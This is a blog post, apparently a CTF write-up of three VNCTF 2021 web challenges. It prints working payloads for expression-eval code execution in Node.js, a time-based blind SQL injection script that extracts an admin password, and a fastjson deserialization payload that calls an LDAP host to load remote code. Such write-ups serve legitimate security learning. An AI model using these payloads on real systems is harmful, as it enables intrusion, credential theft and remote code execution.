Diggid's Blog

VNCTF 2021 做题记录

字数统计: 1.5k阅读时长: 7 min
2021/03/29 Share

Ez_game

  • 控制台修改游戏数据,通关
  • sojson.v4解密一段东西,然后有flag

naive

知识点

nodejs 相关模块的审计

一般是直接npm然后看文档查,这题考了几个模块

  • bindings :用来查找.node文件(C++编译的)

  • expression-eval:模板执行,存在任意代码执行

任意文件读

抓住一些敏感的可以读源码的地方 ,然后再读其他的东西

expression-eval 的任意代码执行 到 rce

image-20210330102845448

也可以直接在eval方法中直接调用parse的模板表达式,而不需要传入参数

1
2
3
expr.eval(parse( 
("a")['constructor']['constructor']("return require('child_process').exec('cat /flag > ./static/xx');")
))

ES6 和 CommonJS 导入模块的差异

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules#%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E6%A8%A1%E5%9D%97

https://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html

1.在package.json字段中,有以下几种形式来指定模块的导入方式和后缀

  • 第一种:此时可以加载.js的模块文件(就是把.mjs的模块文件可以改名为.js),加载后对模块的处理方式使用的是ES6标准
1
{"type": "module"}
  • 第二种:指定不同模块的加载入口文件,加载不同标准的模块会自动切换到对应的入口文件
1
2
3
4
"exports":{ 
"require": "./index.js",
"import": "./esm/wrapper.js"
}

2.ES6导入模块的方式

  • 直接导入模块:可以导入变量、函数、类等,除此之外还可以为导入的模块或变量进行重命名as来使用
1
import { name, draw, reportArea, reportPerimeter } from './modules/square.mjs';

对应的指定可导出模块的方式

1
export { name, draw, reportArea, reportPerimeter };
  • 动态导入模块的方法如下
1
import('xxx').then((module) => {module.xxx}) //导入后调用then来处理模块的方法

题解

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import express from "express";
import bindings from "bindings";
import { fileURLToPath } from 'url'
import path from "path";

import pkg from 'expression-eval'; //模板??
const { eval: eval_, parse } = pkg;

//const{parse, eval}
const addon = bindings("addon");

const file = fileURLToPath(import.meta.url);

const app = express();
app.use(express.urlencoded({ extended: true }));

app.use(express.static("static"));

app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e)))); // 可以执行表达式
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});

app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});

app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});

app.listen(process.env.PORT || 80);

在eval路由处很明显的任意代码执行

1
res.send(String(eval_(parse(e))));

但是要经过一个验证

1
addon.verify(code)

查手册发现,addon模块是由bindings(“addon”)导入的,所以导入的是addon.node文件,而该文件是一个c++写的并生成的扩展文件,因此这里的verify函数应该是在addon.node中

在source路由处可以任意文件读,然后按顺序读出以下文件

  • index.js
  • ../package.json(根据提示)
  • ../binding.gyp(根据package.json中的node-addon-api模块,查手册,是一个c++的扩展模块)
  • ../build/Release/addon.node(查手册,发现addon.node文件在此目录)

http://nodejs.cn/api/addons.html#addons_n_api

然后教给逆向大佬去逆出verify的验证码

1
yoshino-s_want_a_gf,qq1735439536

然后就可以通过验证执行任意代码了,注意到package.json中的

1
"type": "module"

也就是说,其中导入的模块是以ES6来处理的,所以使用expression-eval模块时导入其他模块需要import()而不能require()

最后payload:

1
e=('a')['constructor']['constructor']("return import('child_process').then((module)=>{module.exec('cat /flag > ./static/1.js')});")()&code=yoshino-s_want_a_gf,qq1735439536

没有回显,可以把文件写到static目录下,或者写到随便一个目录里,然后用任意文件读

realezjvav

笛卡尔积盲注:

1
0'||if(1=2,1,(select count(*) from information_schema.columns A,information_schema.columns B))#

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import time

def sql_inject(url, payload):
result = ""
for i in range(1,500):
l = 32
r = 127
mid = (l + r) >> 1
while(l < r):
exp = payload.format(i, mid)
print(exp)
data = {
'username' : "admin",
'password' : exp
}
begin = time.time()
res = requests.post(url ,data=data)
#print(r.text)
end = time.time()

if end - begin > 1 :
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
t = chr(mid)
time.sleep(1)
if t == ' ':
break
result = result + t
print(str(i)+': '+result)
print(result)

url = "http://2187d066-dd73-4dcb-8bde-41ef775a838f.node3.buuoj.cn/user/login"

#payload = "0'||if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),{},1)) > {},(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),1)#"

payload = "0'||if(ascii(substr((select password from user where username='admin'),{},1)) > {},(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),1)#"

print('[+]start...')
sql_inject(url, payload)
print('[+]done')

进去之后有个任意文件读:

1
searchimage?img=../../../../../pom.xml

然后审计pom.xml发现有fastjson1.2.27,直接拿payload打即可,这里过滤了@typecom.sun.rowset.JdbcRowSetImpl autoCommit,转成/u00xx然后直接打就可以了

1
{"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://x.x.x.x:7777/Evil","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}

拿cache型的通杀1.2.47以下的payload打,然后接shell,就可以拿flag了

CATALOG
  1. 1. Ez_game
  2. 2. naive
    1. 2.1. 知识点
      1. 2.1.1. nodejs 相关模块的审计
      2. 2.1.2. 任意文件读
      3. 2.1.3. expression-eval 的任意代码执行 到 rce
      4. 2.1.4. ES6 和 CommonJS 导入模块的差异
    2. 2.2. 题解
  3. 3. realezjvav